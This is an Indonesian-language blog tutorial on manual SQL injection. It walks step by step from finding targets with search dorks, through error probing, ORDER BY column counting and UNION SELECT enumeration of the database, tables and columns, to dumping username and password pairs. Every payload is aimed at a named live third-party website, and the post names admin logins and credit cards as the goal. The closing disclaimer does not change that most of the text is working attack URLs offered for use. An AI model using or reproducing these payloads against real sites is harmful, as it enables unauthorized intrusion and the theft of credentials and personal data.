Tutorial SQL Injection Manual (Basic Of SQL Injection)

Halo my brother / sister, hacker, lamer, pro.
Kali ini gw mau berbagi tentang tutorial sql injection.
udah tau kan sql injection itu apa ?
kalau belum tau, kurang lebih seperti ini kata om google

'SQL injection itu adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL injection yaitu serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.'

Catatan :
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

Setiap MySQL terdapat "database",di dalam "database" terdapat "tables",di dalam "tables" terdapat "column,dan maklumat disimpan di dalam "column".
Kurang lebih seperti ini Database -> Tables -> Columm -> Information


Oiya, disini sesuai judul, kita akan melakukan nya dengan cara manual, tidak memakai tool seperti sqlmap atau pun havij. Oke deh langsung aja.

Pertama, kita cari dulu target kita menggunakan dork. Bisa menggunakan dork disini atau disini.

Disini saya menggunakan website http://nightgallery.ca/artist.php?id=98 sebagai live target.
Setelah mendapatkan target, tambahkan karakter (') atau tanda (-) pada akhir url untuk mengecek website tersebut apakah vuln atau tidak.

Kalau vuln, maka akan muncul pesan error seperti ini
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SQL query yang error' at line 1
Warning: mysql_fetch_assoc()
Warning: mysql_fetch_array()
Warning: mysql_num_rows()
Warning: session_start()


Setelah itu, kita akan mencari dan menghitung table yang ada didalam mysql (didalam mysql / phpmyadmin nya) website tersebut dengan perintah ORDER BY
http://nightgallery.ca/artist.php?id=98 order by 10--+ >> error
http://nightgallery.ca/artist.php?id=98 order by 9--+ >> tidak error

Berarti jumlah nya ada 9, karna di angka 10 error.

Setelah mengetahui jumlah table yang ada didalam database, saat nya mencari dimana database itu berada dengan menggunakan perintah UNION SELECT ditambah dengan karakter (-) sebelum angka 98

http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,2,3,4,5,6,7,8,9--+
muncul deh angka 2 dan 3, angka itu biasa disebut dengan angka ajaib. Berarti database website tersebut ada di table nomor 2.

Setelah itu, kita ingin melihat table yang ada didalam database, versi database, nama database, user , dan yang lain nya.

http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,database(),3,4,5,6,7,8,9--+ 

muncul nama database nya. Untuk multiple query, bisa menggunakan perintah GRUP_CONCAT(Query SQL) atau CONCAT(Query SQL)

Contoh nya kita ingin menampilkan nama database dan versi database
http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,concat(database(),@@version),3,4,5,6,7,8,9--+ 

Catatan : 
Function Output
@@version Menampilkan Versi database
user() Menampilkan Nama User database
@@hostname Menampilkan Hostname
@@tmpdir Menampilkan Direktori temp
@@datadir Menampilkan Direktori data
@@basedir Menampilkan Direktori base
database() Menampilkan Nama Database
schema() Menampilkan Database yang dipakai
session_user() Menampilkan Session User
UUID() Menampilkan System UUID Key
current_user() Menampilkan User Sekarang
system_user() Menampilkan System User Sekarang
@@GLOBAL.have_symlink Mengecek symlink aktif atau tidak
@@GLOBAL.have_ssl Mengecek apakah ada SSL atau tidak


Selanjutnya, kita ingin melihat table yang ada didalam database, kita gunakan SCHEMA.
Seharus nya muncul, ntah kenapa yang muncul cuma information_schema, tapi gakpapa, kita udah tau nama database nya.
Selanjutnya kita liat isi table nya, tinggal ganti aja dengan Perintah TABLE_NAME & ditambahkan FROM INFORMATION_SCHEMA.TABLE WHERE TABLE_SCHEMA=DATABASE()

Jadi
http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()--+ 

ada muncul kan ?, karena cuma satu ya untuk pembelajaran, kita coba liat isi column nya, biasa nya muncul semua nama table nya.
Kita liat column dalam tabel tersebut dengan perintah COLUMN_NAME & FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0xhexa

kita liat, disitu ada perintah 0xhexa. Apa maksudnya ? maksudnya, kita ubah dulu nama table tersebut kedalam bentuk hexadesimal. Silahkan ubah dari text ke hexa, atau dengan Hackbar.
Jadi
http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x4e475f414453--+

Setelah itu, tentunya kita ingin tau dong isi yang ada didalam column tersebut, biasa nya yang kita cari USERNAME / PASSWORD Admin Login atau CREDIT CARD (Jika Beruntung).
Lalu kita dumping dengan perintah NAMA_COLUMN,0x3a,NAMA_COLUMN FROM NAMA_TABLE

Sehingga menjadi
http://nightgallery.ca/artist.php?id=-98 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9 from users --+

Dan boom, muncul deh data berupa username & password yang ada didalam column tersebut.
Oiya, 0x3a merupakan hasil hexa (:) biar tidak bingung melihat data tersebut.

Sekian Pembelajaran Hari ini  ^_^


Nb :
saya tidak bertanggung jawab atas apa yang anda lakukan, ini hanya untuk materi pembelajaran saja

Semoga Bermanfaat, Terima Kasih ^_^

0 Response to "Tutorial SQL Injection Manual (Basic Of SQL Injection)"

Post a Comment